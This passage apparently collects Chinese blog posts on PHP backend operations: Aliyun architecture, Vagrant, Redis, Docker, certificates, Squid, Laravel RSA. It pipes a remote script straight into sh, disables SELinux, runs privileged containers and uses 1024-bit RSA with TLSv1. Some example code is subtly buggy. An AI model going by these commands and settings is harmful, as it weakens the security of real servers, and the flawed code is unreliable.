在项目的初期往往存在很多变数,业务逻辑时刻在变,而且还要保证快速及时,所以,一个灵活多变、快速部署、持续集成并可以适应多种情况的架构便显得尤为重要。本文主要介绍基于阿里云搭建适合项目初期的后端架构,至于细节操作不作描述,比如nginx配置优化、linux内核优化、防火墙配置、ansible的使用等。


项目背景

项目的前端主要为ios应用以及一些web管理系统,后端的职能主要为前端提供数据接口。我个人在项目中主要负责整个后端的架构设计、服务器运维、php开发等一系列后端工作,因为主要是我一个人负责,在一定程度上也减少了许多沟通成本。


项目初期的后端架构

总体架构

项目后端架构使用阿里云服务搭建,其中RDS为主从集群,并配备灾备实例。ECS可根据业务量动态弹性伸缩,其余服务均采用单实例的方式远程调用。

海伦钢琴项目后端架构简图.png


VPC

搭建VPC的原因有以下几点
1.可以将业务数据库和业务服务器放置在可以自己掌握的同一内网,可以提高一些安全性。
2.阿里云服务之间通过内网访问的流量是不收费的。所以在选购服务时,带宽可以选择流量版,这样在保证带宽速率的同时,还可以极大的减少运维费用。
举个例子:同样一台ECS,在同为百兆带宽的情况下,每月的费用如下图:

按固定带宽

按使用流量

当然,能这样的做的原因也是因为在这个架构中,ECS仅处理业务逻辑,几乎不存储文件资源。大部分静态资源,如视频图片等,都是存储在OSS上。如果存放静态资源,比如下视频或图片什么的,流量一多那就很亏了。
3.内网访问,稳定而且速度快。


业务数据层

  • RDS
    项目一开始,RDS选购的是共享型单实例的,随着业务量的提升,可以多区域部署只读实例。另外,保险起见,主实例可以配有一个灾备实例,防止意外发生。

  • Redis
    提到阿里云的这个Redis,不得不吐槽一句,它竟然是不支持主从的,只能单实例,不过,用它做数据缓存,还真是蛮不错的选择,响应速度非常快。而且,因为是放置在内网的且只能内网访问,所以安全性也很高。

  • MongoDB
    结构型数据,主要存储档案式的数据,比如每个用户的操作行为,以档案式记录并进行统计分析,方便下一阶段的项目做个性化服务。另外一些关联复杂的数据,也可以用MongoDb存储,可以提高访问速度。还有,一些对软件应用版本比较敏感的数据也可以存在MongoDB中,比如a版本拿到A数据,b版本拿到B数据,而这个AB数据都是由很多关联关系复杂的数据所组成,如果把这些数据根据版本号存储在不同的MongoDB档案中,需要时,直接根据版本号拿就可以了,这样就避免了很多的mysql查询。


静态资源

  • OSS + CDN
    OSS存储静态资源,CDN(内容分发网络)可以加速静态资源的下载速度。至于资源链接地址,客户端可以通过接口访问从后端业务数据库中拿到。

服务器安全

  • 运维层面
    1.选购了阿里云的web防火墙和态势感知的服务。这两个服务可以实时监控服务器状态,识别并跟踪攻击来源和类型,可以说,用这两个工具也节省了很多人力成本。阿里云还有其它安全类产品,可以根据项目选购,使用起来也都很方便。
    2.配置firewalld。

  • 业务层面
    针对接口访问的安全性,主要做了以下工作
    1.签名验证:防止伪造请求
    2.访问频次限制:计数器是用phpredis制作的毫秒级计数器
    3.https访问
    4.部分敏感数据,使用RSA非对称加密


服务器集群

  • 主ECS
    通过这台ECS,可以管理其它从属的ECS,并查看状态。安装的主要工具为ansible。
    如果不需要用这台ECS来做负载均衡的话,可以配置白名单连接,只允许管理员ip才能访问。

  • 从属ECS
    这类ECS服务器只存放逻辑代码,所以当需求量增加时,只需增加此类服务器的个数即可。而且,在增加个数时,可以使用之前制作好的镜像,创建多台相同环境的ECS服务器。每台ECS的web环境为nginx1.10和php7,微服务容器环境用的docker。

  • 负载均衡
    负载均衡可以采用两种方式
    1.购买阿里云的负载均衡实例(注意要买带公网ip的)。由该负载均衡实例接收请求后,会分发到内部服务器。
    2.在某台具有外网ip的ECS上使用nginx部署负载均衡服务。

    个人更倾向第一种,毕竟管理起来比较方便,节省人力。


使用到的第三方服务

  • Coding
    后端的所有代码都是放在Coding上的,喜欢Coding的原因有三个。
    1.私有git仓库没有个数限制。
    2.有ios客户端且比较好用。
    3.操作界面好看。

    后端代码的自动部署是通过Coding的webhook实现的
    具体操作可以去看这篇博客《利用Coding的webhook自动部署项目》

    实现的场景:代码的自动部署与持续集成。
    当我提交代码到开发分支上时,测试服务器上会自动更新开发分支上的代码。
    当我把开发代码合并到主分支上时,正式服务器会自动拉取master分支上的代码,可谓是方便快捷。
    jenkins 之类的工具虽然也尝试过,但是感觉部署起来很不方便,不够定制化,而且还消耗了一部分服务器资源。

  • 容联·云通讯
    主要用来实现短信通知、验证码等功能

  • 融云IM
    主要用来实现ios客户端之间的即时通讯以及客户端的应用消息推送。

后端逻辑层架构

  • 接口
    项目起初的接口是基于phalapi框架开发,现在逐步过渡到基于laravel5.3开发。
    项目起初选择phalapi的原因
    1.phalapi框架是轻量级的接口开发框架,开发起来比较便捷、快速,尤其是那个依赖注入挺好用的。
    2.phalapi框架有很多现成的扩展可以使用,不用去找,而且这些也能基本满足业务的需要。我个人还基于这个框架开发了两个扩展,一个是关于使用workman的,一个是关于使用gearman的。
    其中gearman是用来异步处理请求的,详细介绍可以看这篇博客《基于Phalapi框架的gearman扩展(异步并发)》

根据业务量提高性能

  • http请求的并发性能可以通过增加ECS实现,针对部分耗时较长且无须即时回调的请求,可以用gearman异步处理。
  • 数据库的并发连接数可以通过增加配置来提高,也可以通过创建只读实例进行读写分离,提高数据处理能力。再往后,可能需要搭建hadoop管理数据库集群,不过等用上hadoop的时候,应该已经不是项目初期了,至少数据量得是TB级的了。
  • 其它还可以采用优化nginx配置,优化linux内核,采用高速固态硬盘等等的手段。

总结评价

这套架构基本上可以完全满足项目初期的业务需要,而且所有的云服务费用总和也非常少(相比于自建服务器机房)。随着业务量的提升,可以逐步升级配置以应对需求,还可以在短时间内临时性的提高并发处理能力。总结起来就是省钱、省时、省力气。

前言

因为项目需要上线微信支付功能,所以这两天下载并使用了下微信支付的sdk,但是集成进项目框架时发现有很多小问题,尤其是有很多因为代码不规范而产生的warning,而我又是比较讨厌warning的,所以就花了点时间重构了一下。

官方原版wxpay-php-sdk

WxpayAPI_php_v3.zip

重构版微信支付sdk

WxPay.zip

使用vagrant+virtualbox搭建跨平台开发环境

相关参数

  • 目录地址: (本机目录) D:\web => /vagrant/ (对应虚拟机目录)

准备工作

安装vagrant

https://www.vagrantup.com/downloads.html

更改vagrant配置文件的位置

如果C盘空间足够,此步可不操作

将 C:\Users\user_name\.vagrant.d 移动到新的位置

新建环境变量VAGRANT_HOME,并指向新路径

安装virtualbox

http://download.virtualbox.org/virtualbox/5.1.12/VirtualBox-5.1.12-112440-Win.exe

下载centos7.3的vagrant box到你想挂载的目录(比如 D:\web),用vagarant镜像下载会非常慢,推荐用下面的链接下载
下载地址:https://atlas.hashicorp.com/bento/boxes/centos-7.3/versions/2.3.5/providers/virtualbox.box
这个box是纯净版的centos7.3
其它镜像https://atlas.hashicorp.com/bento/boxes

更改virtaulbox虚拟机默认位置

  • 打开 VirtualBox 程序,点击管理/全局设定菜单项

  • 将常规栏里的默认虚拟电脑位置改为其他磁盘下的路径

  • 重新启动VirtualBox程序

使用vagrant

vagrant plugin install vagrant-vbguest

vagrant  box  add  centos7.2  virtualbox.box
#命令解释:vagrant box add为载入镜像命令,centos7.2为载入后的镜像名称,virtualbox.box为box文件名

vagrant  init  centos7.2  #根据镜像初始化一个虚拟机

# 修改本机目录下的Vagrantfile文件 , 将config.vm.network "public_network"前的注释删除并保存

vagrant  up    #在本机目录下执行该命令,启动虚拟机

vagrant package # 打包系统生成package.box文件

默认账号 vagrant 密码 vagrant ;
root账号的默认密码vagrant;

执行完vagrant up后,虚拟机就启动了

虚拟机可以直接用VirtualBox管理,也可以用Xshell连接虚拟机进行管理

也可以在该目录下执行 vagrant ssh 连入虚拟机(windows需要安装shell工具)

此时你已经有了一个centOS7.2的虚拟机,接下来就可以用它来搭建各种服务来运行你的项目。

之后每次只需在挂载目录下执行vagrant up就可以了

vagrantfile配置

建议在vagrantfile中配置

config.vm.network "public_network"

config.vbguest.auto_update = false

# do NOT download the iso file from a webserver
config.vbguest.no_remote = true

其它配置详见官方文档
https://friendsofvagrant.github.io/v1/docs/vagrantfile.html
Vagrantfile 配置

前言

对于redis的使用,laravel 官方文档建议是用predis,但是因为predis完全是由php来开发的,其性能上与phpredis还是有一定差距的。如果要使用predis的话,参考官方文档,或者查看predis源码即可。

本篇博客主要介绍通过自定义服务类(RedisService)使用phpredis进行redis的相关操作。在RedisService中,除了基本操作外,还写了一些基于phpredis的小工具,比如redis计数器等。

如果要用依赖注入的方式实现RedisService,可以参考这篇博客 《laravel5.3自定义加密服务方案》


项目环境

  • Centos7
  • php7.1
  • nginx1.11

准备工作

php环境部署

具体操作请参考《Centos7安装nginx+php7运行环境》

安装phpredis扩展

具体操作请参考《CenOS7环境安装PHP7扩展》

创建服务类

  • 创建Redis服务类,文件地址 /app/Service/Common/RedisService.php

    代码如下:

<?php
/**
 * Redis Service
 * User: Axios
 * Email: axioscros@aliyun.com
 * Date: 2017/1/5
 * Time: 13:50
 */
namespace App\Service\Common;
use \Redis;
class RedisService extends Redis{
    private $config;
    private $prefix;
    private $db;
    public function __construct()
    {
        $this->config = config('database.redis');
        $this->connection();
    }

    /**
     * connect redis
     * @desc 连接redis,外部调用
     * @param string $select  选择redis连接方式
     * @return mixed \Redis|string
     */
    public function connection($select = 'default'){
        if(array_key_exists($select,$this->config)){
            return $this->do_connect($this->config[$select]);
        }else{
            return 'config error';
        }
    }

    /**
     * @desc 进行redis连接
     * @param $config
     * @return mixed
     */
    private function do_connect($config){
        if(isset($config['type']) && $config['type'] == 'unix'){
            if (!isset($config['socket'])) {
                return 'redis config key [socket] not found';
            }
            $this->connect($config['socket']);
        }else{
            $port = isset($config['port']) ? intval($config['port']) : 6379;
            $timeout = isset($config['timeout']) ? intval($config['timeout']) : 300;
            $this->connect($config['host'], $port, $timeout);
        }

        if(isset($config['auth']) && !empty($config['auth'])){
            $this->auth($config['auth']);
        }

        $this->db = isset($config['database']) ? intval($config['database']) : 0;
        $this->select($this->db);
        $this->prefix = isset($config['prefix'])&& !empty($config['prefix']) ? $config['prefix'] : 'default:';
        $this->setOption(\Redis::OPT_PREFIX, $this->prefix );
        return $this;
    }

    /**
     * 切换数据库
     * @param $name
     * @return $this
     */
    public function switchDB($name){
        $arr = $this->config['database'];
        if(is_int($name)){
            $db = $name;
        }else{
            $db = isset($arr[$name]) ? $arr[$name] : 0;
        }
        if($db != $this->db){
            $this->select($db);
            $this->db = $db;
        }
        return $this;
    }

    /************************************  Some little tools  ************************************/

    /**
     * counter
     * @desc 创建计数器
     * @param $key
     * @param int $init
     * @param int $expire
     */
    public function counter($key,$init=0,$expire=0){
        if(empty($expire)){
            $this->set($key,$init);
        }else{
            $this->psetex($key,$expire,$init);
        }
    }

    /**
     * @desc 进行计数
     * @param $key
     * @return bool|int
     */
    public function count($key){
        if(!$this->exists($key)){
            return false;
        }
        $count = $this->incr($key);
        return $count;
    }

    function __destruct()
    {
        // TODO: Implement __destruct() method.
        $this->close();
    }
}
  • 修改redis配置,文件地址:/config/database.php
'redis' => [

        'cluster' => false,

        //
        'database'=>[
            'default_db'    => 0,
            'users_token'   => 1,
            'counter'       => 2,
        ],

        'default' => [
            'host' => env('REDIS_HOST', 'localhost'),
            'password' => env('REDIS_PASSWORD', null),
            'port' => env('REDIS_PORT', 6379),
            'database' => 0,
            'prefix' => 'default:'
        ],

    ],

使用示例

示例文件位置: /app/Http/Controllers/HomeController.php

<?php

namespace App\Http\Controllers;
use App\Service\Common\RedisService;
class HomeController extends Controller
{
    /**
     * Create a new controller instance.
     *
     * @return void
     */
    public function __construct()
    {

    }

    /**
     * Show the application dashboard.
     *
     * @return \Illuminate\Http\Response
     */
    public function index()
    {
        // 实现功能,五秒内访问次数不能大于5次
        $redis = new RedisService();
        $key = 'test_counter_key';
        if(!$redis->exists($key)){
            $redis->counter('test_counter_key',0,'expire',5000);
        }

        $count = $redis->count($key);
        if($count>5){
            echo "操作次数过多(".$count.")";
        }else{
            echo $count;
        }
    }
}

其它资料

环境介绍

  • 根目录: /docker

  • 网站根目录:/docker/www

  • nginx相关目录:/docker/nginx/conf.d

准备工作

  • 使用docker加速器
curl -sSL https://get.daocloud.io/daotools/set_mirror.sh | sh -s http://68abbefd.m.daocloud.io
service docker restart
  • 下载相关镜像
docker pull nginx
docker pull php:7.1.0-fpm
  • 建立相关目录
mkdir -p /docker/www
mkdir -p /docker/nginx/conf.d

  • 编辑default.conf
vim /docker/nginx/conf.d/default.conf

# 以下为示例内容
server {
        listen       80 default_server;
        server_name  _;
        root         /usr/share/nginx/html;

        location / {
            index  index.html index.htm index.php;
            autoindex  off;
        }
        location ~ \.php(.*)$ {
            root           /var/www/html/;
            fastcgi_pass   172.17.0.2:9000;
            fastcgi_index  index.php;
            fastcgi_split_path_info  ^((?U).+\.php)(/?.+)$;
            fastcgi_param  SCRIPT_FILENAME  $document_root$fastcgi_script_name;
            fastcgi_param  PATH_INFO  $fastcgi_path_info;
            fastcgi_param  PATH_TRANSLATED  $document_root$fastcgi_path_info;
            include        fastcgi_params;
        }
}

搭建环境

  • 启动php镜像
docker run -p 9000:9000 --name myphp \
-v /docker/www/:/var/www/html/ \
--privileged=true \
-d php:7.1.0-fpm

#查看php镜像的ip地址
docker inspect --format='{{.NetworkSettings.IPAddress}}' myphp

172.17.0.2

#修改default.conf配置文件,使fastcgi_pass的值为 172.17.0.2:9000

vim /docker/nginx/conf.d/default.conf

fastcgi_pass 172.17.0.2:9000;
  • 启动nginx镜像
docker run -p 80:80 --name mynginx \
-v /docker/www:/usr/share/nginx/html  \
-v /docker/nginx/conf.d:/etc/nginx/conf.d \
--privileged=true \
-d nginx
  • 查看镜像运行状态
docker ps

CONTAINER ID        IMAGE               COMMAND                  CREATED             STATUS              PORTS                                      NAMES
93213e1eac73        nginx               "nginx -g 'daemon off"   3 seconds ago       Up 2 seconds        0.0.0.0:80->80/tcp   mynginx
e93281652098        php:7.1.0-fpm       "docker-php-entrypoin"   8 minutes ago       Up 8 minutes        0.0.0.0:9000->9000/tcp                     myphp

  • 生成php测试文件info.php
echo "<?php phpinfo();" > /docker/www/info.php

nginx虚拟机配置

以配置www.test.com虚拟机为例,项目目录地址为/docker/www/test.com/

vim /docker/nginx/conf.d/test.com.conf

# 示例内容如下

server {
        listen       80;
        server_name  www.test.com;
        root         /usr/share/nginx/html/test.com/;
        location / {
            index  index.html index.htm index.php;
            autoindex  off;
        }
        location ~ \.php(.*)$ {
            root           /var/www/html/test.com/;
            fastcgi_pass   172.17.0.2:9000;
            fastcgi_index  index.php;
            fastcgi_split_path_info  ^((?U).+\.php)(/?.+)$;
            fastcgi_param  SCRIPT_FILENAME  $document_root$fastcgi_script_name;
            fastcgi_param  PATH_INFO  $fastcgi_path_info;
            fastcgi_param  PATH_TRANSLATED  $document_root$fastcgi_path_info;
            include        fastcgi_params;
        }
}


#重启nginx镜像

docker restart mynginx

docker常用命令

  • 停止所有正在运行的容器
docker kill $(docker ps -a -q)
  • 删除所有已停止运行的容器
docker rm $(docker ps -a -q)
  • 查看容器运行状态
docker stats
  • 进入容器内进行命令行操作
docker exec -it content-name-or-id /bin/bash

常见问题

  • CentOS7 环境下因为宿主的SELINUX,导致在nginx容器内无法访问配置文件(default.conf),进而容器无法提供web服务

解决方法:

#############方法一#############
#在宿主主机关闭SELINUX
#临时关闭
setenforce 0
#永久关闭  修改/etc/sysconfig/selinux文件
SELINUX=disabled

#############方法二#############
#以特权方式运行容器
#--privileged参数为true
docker run -it --privileged=true -d nginx

自签名的证书比较适合于加密接口请求的访问,如果是web端https连接的话,最好是用公证机构提供的证书。
另外,自2017年1月1日起,苹果会强制ios应用使用https方式连接

生成自签名证书

生成自签名证书脚本代码地址(作者廖雪峰)
https://github.com/michaelliao/itranswarp.js/blob/master/conf/ssl/gencert.sh

脚本具体代码如下(有部分修改):根据需求也可以自行修改脚本代码,比如有效时长等等

#!/bin/sh

# create self-signed server certificate:

read -p "Enter your domain [www.example.com]: " DOMAIN

echo "Create server key..."

openssl genrsa -des3 -out $DOMAIN.key 1024

echo "Create server certificate signing request..."

SUBJECT="/C=US/ST=Mars/L=iTranswarp/O=iTranswarp/OU=iTranswarp/CN=$DOMAIN"

openssl req -new -subj $SUBJECT -key $DOMAIN.key -out $DOMAIN.csr

echo "Remove password..."

mv $DOMAIN.key $DOMAIN.origin.key
openssl rsa -in $DOMAIN.origin.key -out $DOMAIN.key

echo "Sign SSL certificate..."

openssl x509 -req -days 3650 -in $DOMAIN.csr -signkey $DOMAIN.key -out $DOMAIN.crt

echo "TODO:"
echo "Copy $DOMAIN.crt to /etc/nginx/ssl/$DOMAIN.crt"
echo "Copy $DOMAIN.key to /etc/nginx/ssl/$DOMAIN.key"
echo "Add configuration in nginx:"
echo "server {"
echo "    listen 443 ssl"
echo "    ..."
echo "    ssl on;"
echo "    ssl_certificate     /etc/nginx/ssl/$DOMAIN.crt;"
echo "    ssl_certificate_key /etc/nginx/ssl/$DOMAIN.key;"
echo "    ssl_protocols   TLSv1 TLSv1.1 TLSv1.2"
echo "    ssl_ciphers     HIGH:!aNULL:!MD5"
echo "}"

生成证书操作

$ sh ./gencert.sh
# 根据提示输入域名以及四次口令,注意这四次口令输入的都是一样的且同时包含字母和数字

# 输出示例如下
Enter your domain [www.example.com]: #www.test.com
Create server key...
Generating RSA private key, 1024 bit long modulus
.................++++++
.....++++++
e is 65537 (0x10001)
Enter pass phrase for www.test.com.key: #输入口令
Verifying - Enter pass phrase for www.test.com.key: #输入口令
Create server certificate signing request...
Enter pass phrase for www.test.com.key: #输入口令
Remove password...
Enter pass phrase for www.test.com.origin.key: #输入口令
writing RSA key
Sign SSL certificate...
Signature ok
subject=/C=US/ST=Mars/L=iTranswarp/O=iTranswarp/OU=iTranswarp/CN=www.test.com
Getting Private key
TODO:
Copy www.test.com.crt to /etc/nginx/ssl/www.test.com.crt
Copy www.test.com.key to /etc/nginx/ssl/www.test.com.key
Add configuration in nginx:
server {
    listen 443 ssl
    ...
    ssl on;
    ssl_certificate     /etc/nginx/ssl/www.test.com.crt;
    ssl_certificate_key /etc/nginx/ssl/www.test.com.key;
    ssl_protocols   TLSv1 TLSv1.1 TLSv1.2
    ssl_ciphers     HIGH:!aNULL:!MD5
}

nginx 配置

执行上面的脚本后,会在脚本所在目录生成证书

# 复制证书至/etc/nginx/ssl目录
cp www.test.com.crt  /etc/nginx/ssl/www.test.com.crt
cp www.test.com.key  /etc/nginx/ssl/www.test.com.key


# 修改nginx的server配置
server {
    #监听80端口,强制转到443端口,进行https访问
    listen  80;
    server_name test.cn;

    rewrite ^(.*)$  https://$host$1 permanent;
}
server {
    listen  443 ssl;

    #强制使用https访问
    add_header Strict-Transport-Security "max-age=31536000; includeSubDomains;preload" always;

    ...# 此处省略其它配置内容

    ssl on;
    ssl_certificate     /etc/nginx/ssl/www.test.com.crt; #证书格式有多种,常见的有pem、cer等
    ssl_certificate_key /etc/nginx/ssl/www.test.com.key;
    ssl_session_timeout 5m;
    ssl_ciphers ECDHE-RSA-AES128-GCM-SHA256:ECDHE:ECDH:AES:HIGH:!NULL:!aNULL:!MD5:!ADH:!RC4;
    ssl_protocols TLSv1 TLSv1.1 TLSv1.2;
    ssl_prefer_server_ciphers on;
}


# 重启nginx
service nginx restart

其它关于https的nginx配置看去看这篇文章 ** Nginx 配置 HTTPS 服务器**

常见问题

nginx配置好https,而且用firewalld开启443端口后,发现外网依然无法连接。
此时可能需要在firewalld添加https服务

#查看firewalld运行状态
firewall-cmd --stat

#临时添加 https 服务 (不用重启firewalld)
firewall-cmd --add-service=https

#永久添加 https 服务 (需要重启firewalld服务)
firewall-cmd --permanent --add-service=https
firewall-cmd --reload

#查看已支持的服务
firewall-cmd --list-services

转自《Centos7下使用Squid快速搭建带认证的HTTP代理服务器》(有部分修改)

安装squid

yum install squid httpd-tools -y

生成密码文件

mkdir /etc/squid3/

htpasswd -cd /etc/squid3/passwords username
# 此步后会提示输入密码,注意密码不要超过8位

测试密码文件

/usr/lib64/squid/basic_ncsa_auth /etc/squid3/passwords
# 输入 用户名 密码
username password
# 提示OK说明成功,ERR是有问题,请检查一下之前步骤
OK

配置

vim /etc/squid/squid.conf

# 在最后添加
auth_param basic program /usr/lib64/squid/basic_ncsa_auth /etc/squid3/passwords
auth_param basic realm proxy
acl authenticated proxy_auth REQUIRED
http_access allow authenticated

# 这里是端口号,可以按需修改
# http_port 3128 这样写会同时监听ipv6和ipv4的端口,推荐适应下面的配置方法。
http_port 0.0.0.0:3128
# 注意此端口要能允许外部连接访问

启动服务

# 启动
systemctl start squid.service
# 停止
systemctl stop squid.service
# 重启
systemctl restart squid.service
# 查看状态
systemctl status squid.service

查看日志

cat /var/log/squid/access.log
#huo或
tail -f /var/log/squid/access.log

权限控制

参考《squid中文权威指南》

layer官方网站 layer.layui.com


//信息框-例1 layer.alert('见到你真的很高兴', {icon: 6}); //信息框-例2 layer.msg('你确定你很帅么?', { time: 0 //不自动关闭 ,btn: ['必须啊', '丑到爆'] ,yes: function(index){ layer.close(index); layer.msg('雅蠛蝶 O.o', { icon: 6 ,btn: ['嗷','嗷','嗷'] }); } }); //信息框-例3 layer.msg('这是最常用的吧'); //信息框-例4 layer.msg('不开心。。', {icon: 5}); //信息框-例5 layer.msg('玩命卖萌中', function(){ //关闭后的操作 }); //页面层-自定义 layer.open({ type: 1, title: false, closeBtn: 0, shadeClose: true, skin: 'yourclass', content: '自定义HTML内容' }); //页面层-佟丽娅 layer.open({ type: 1, title: false, closeBtn: 0, area: '516px', skin: 'layui-layer-nobg', //没有背景色 shadeClose: true, content: $('#tong') }); //iframe层-父子操作 layer.open({ type: 2, area: ['700px', '530px'], fixed: false, //不固定 maxmin: true, content: 'test/iframe.html' }); //iframe层-多媒体 layer.open({ type: 2, title: false, area: ['630px', '360px'], shade: 0.8, closeBtn: 0, shadeClose: true, content: 'http://player.youku.com/embed/XMjY3MzgzODg0' }); layer.msg('点击任意处关闭'); //iframe层-禁滚动条 layer.open({ type: 2, area: ['360px', '500px'], skin: 'layui-layer-rim', //加上边框 content: ['http://layer.layui.com/mobile', 'no'] }); //加载层-默认风格 layer.load(); //此处演示关闭 setTimeout(function(){ layer.closeAll('loading'); }, 2000); //加载层-风格2 layer.load(1); //此处演示关闭 setTimeout(function(){ layer.closeAll('loading'); }, 2000); //加载层-风格3 layer.load(2); //此处演示关闭 setTimeout(function(){ layer.closeAll('loading'); }, 2000); //加载层-风格4 layer.msg('加载中', { icon: 16 ,shade: 0.01 }); //打酱油 layer.msg('尼玛,打个酱油', {icon: 4}); //tips层-上 layer.tips('上', '#id或者.class', { tips: [1, '#0FA6D8'] //还可配置颜色 }); //tips层-右 layer.tips('默认就是向右的', '#id或者.class'); //tips层-下 layer.tips('下', '#id或者.class', { tips: 3 }); //tips层-左 layer.tips('左边么么哒', '#id或者.class', { tips: [4, '#78BA32'] }); //tips层-不销毁之前的 layer.tips('不销毁之前的', '#id或者.class', { tipsMore: true }); //默认prompt layer.prompt(function(val, index){ layer.msg('得到了'+val); layer.close(index); }); //屏蔽浏览器滚动条 layer.open({ content: '浏览器滚动条已锁', scrollbar: false }); //弹出即全屏 var index = layer.open({ type: 2, content: 'http://layim.layui.com', area: ['320px', '195px'], maxmin: true }); layer.full(index); //正上方 layer.msg('灵活运用offset', { offset: 't', anim: 6 }); //更多例子 layer.msg('Hi')

利用laravel的服务容器,实现自定义加密服务注册(示例是支持长字符串的RSA加密)

创建加密解密服务类

文件地址 /app/Service/Common/CryptService.php 代码如下
下面这个是个人写的支持长字符串的RSA加密类作为示例,自定义加密的话只需更改这个文件的代码就好,其它操作只是为了实现依赖注入。

<?php
namespace App\Service\Common;
class CryptService
{
    public $config,$keypath, $prikey_path, $pubkey_path, $prikey, $pubkey , $private_key_size;

    public function select($select = 'rsa_api')
    {
        $config = config('crypt');
        if (array_key_exists($select, $config)) {
            $this->config = $config[$select];
            $this->private_key_size = $this->config['openssl_config']['private_key_bits'];
        } else {
            return false;
        }
        $this->keypath = dirname(dirname(dirname(__DIR__))) . $this->config['path'];
        if(!file_exists($this->keypath)){
            mkdir($this->keypath,"0777",true);
        }
        $this->prikey_path = $this->keypath . $this->config['private_key_file_name'];
        $this->pubkey_path = $this->keypath . $this->config['public_key_file_name'];
        if (file_exists($this->prikey_path))
            $this->prikey = file_get_contents($this->prikey_path);
        if (file_exists($this->pubkey_path))
            $this->pubkey = file_get_contents($this->pubkey_path);
        return $this;
    }

    public function makeKey()
    {
        $res = openssl_pkey_new($this->config['openssl_config']);
        openssl_pkey_export($res, $this->prikey);
        file_put_contents($this->prikey_path, $this->prikey);
        $pubkey = openssl_pkey_get_details($res);
        $this->pubkey = $pubkey['key'];
        file_put_contents($this->pubkey_path, $this->pubkey);
        return $test = ['prikey' => $this->prikey, 'pubkey' => $this->pubkey];
    }

    public function encryptPrivate($data){
        $crypt = $this->encrypt_split($data);
        $crypted = '';
        foreach ($crypt as $k=>$c){
            if($k!=0) $crypted.="@";
            $crypted.=base64_encode($this->doEncryptPrivate($c));
        }
        return $crypted;
    }
    public function encryptPublic($data){
        $crypt = $this->encrypt_split($data);
        $crypted = '';
        foreach ($crypt as $k=>$c){
            if($k!=0) $crypted.="@";
            $crypted.=base64_encode($this->doEncryptPublic($c));
        }
        return $crypted;
    }

    public function decryptPublic($data){
        $decrypt = explode('@',$data);
        $decrypted = "";
        foreach ($decrypt as $k=>$d){
            $decrypted .= $this->doDecryptPublic(base64_decode($d));
        }
        return $decrypted;
    }
    public function decryptPrivate($data){
        $decrypt = explode('@',$data);
        $decrypted = "";
        foreach ($decrypt as $k=>$d){
            $decrypted .= $this->doDecryptPrivate(base64_decode($d));
        }
        return $decrypted;
    }
    private function encrypt_split($data){
        $crypt=[];$index=0;
        for($i=0; $i<strlen($data); $i+=117){
            $src = substr($data, $i, 117);
            $crypt[$index] = $src;
            $index++;
        }
        return $crypt;
    }
    private function doEncryptPrivate($data)
    {
        $rs = '';
        if (@openssl_private_encrypt($data, $rs, $this->prikey) === FALSE) {
            return NULL;
        }
        return $rs;
    }

    private function doDecryptPrivate($data)
    {
        $rs = '';
        if (@openssl_private_decrypt($data, $rs, $this->prikey) === FALSE) {
            return null;
        }
        return $rs;
    }
    private function doEncryptPublic($data){
        $rs = '';
        if (@openssl_public_encrypt($data, $rs, $this->pubkey) === FALSE) {
            return NULL;
        }
        return $rs;
    }
    private function doDecryptPublic($data)
    {
        $rs = '';
        if (@openssl_public_decrypt($data, $rs,  $this->pubkey) === FALSE) {
            return null;
        }
        return $rs;
    }
}

创建门面facades

文件地址 /app/Facades/CryptFacades.php 代码如下:

<?php
namespace App\Facades;
use \Illuminate\Support\Facades\Facade;

class CryptFacades extends Facade{
    public static function getFacadeAccessor()
    {
        return 'MyCrypt';
    }
}

注册服务

创建文件 /app/Providers/MyCryptServiceProvider.php 代码如下:
其实也可以在AppServiceProvider中注册,就不用另外建个MyCryptServiceProvider.php文件了
而且在/config/app.php中一般也已经有了AppServiceProvider的声明

<?php
namespace App\Providers;

use App\Service\Common\CryptService;
use Illuminate\Support\ServiceProvider;

class MyCryptServiceProvider extends ServiceProvider
{
    /**
     * Bootstrap the application services.
     *
     * @return void
     */
    public function boot()
    {
        //
    }

    /**
     * Register the application services.
     *
     * @return void
     */
    public function register()
    {
        \App::bind('MyCrypt',CryptService::class);
    }
}


在配置中声明

文件地址 /config/app.php 在providershe和aliases中添加

'providers' => [
    \App\Providers\MyCryptServiceProvider::class,
],

'aliases' => [
    'MyCrypt' => \App\Facades\CryptFacades::class,
]

编写自定义加密解密服务的配置文件

/config/crypt.php 因为我写的CryptService有用到配置文件,所以需要再添加个配置文件。在实际项目中,可以根据需要自行设置配置文件和加密服务类。

<?php
//基于laravel根目录,分隔符最好是用 DIRECTORY_SEPARATOR 常量代替
return [
    'rsa_api' => [
        'path'=>DIRECTORY_SEPARATOR.'storage'.DIRECTORY_SEPARATOR.'rsakey'.DIRECTORY_SEPARATOR,
        'private_key_file_name'=>'private_key.pem',
        'public_key_file_name' =>'public_key.pem',
        'openssl_config'=>[
            "digest_alg" => "sha512",
            "private_key_bits" => 1024,
            "private_key_type" => OPENSSL_KEYTYPE_RSA,
        ]
    ],
    'rsa_data'=>[
        'path'=>DIRECTORY_SEPARATOR.'storage'.DIRECTORY_SEPARATOR.'rsakey'.DIRECTORY_SEPARATOR,
        'private_key_file_name'=>'private.pem',
        'public_key_file_name' =>'public.pem',
        'openssl_config'=>[
            "digest_alg" => "sha512",
            "private_key_bits" => 1024,
            "private_key_type" => OPENSSL_KEYTYPE_RSA,
        ]
    ]
];

在Controller中使用的示例

  • artisan创建Controller文件
php artisan make:controller IndexController
  • 编辑IndexController
<?php
namespace App\Http\Controllers;

use Illuminate\Http\Request;
use MyCrypt;
class IndexController extends Controller{

    public function test(){
        $crypt =  MyCrypt::select('rsa_api');
        $crypt->makeKey();
        $short = "abcd";
        $long = "
            aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
            aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
            aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
            aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
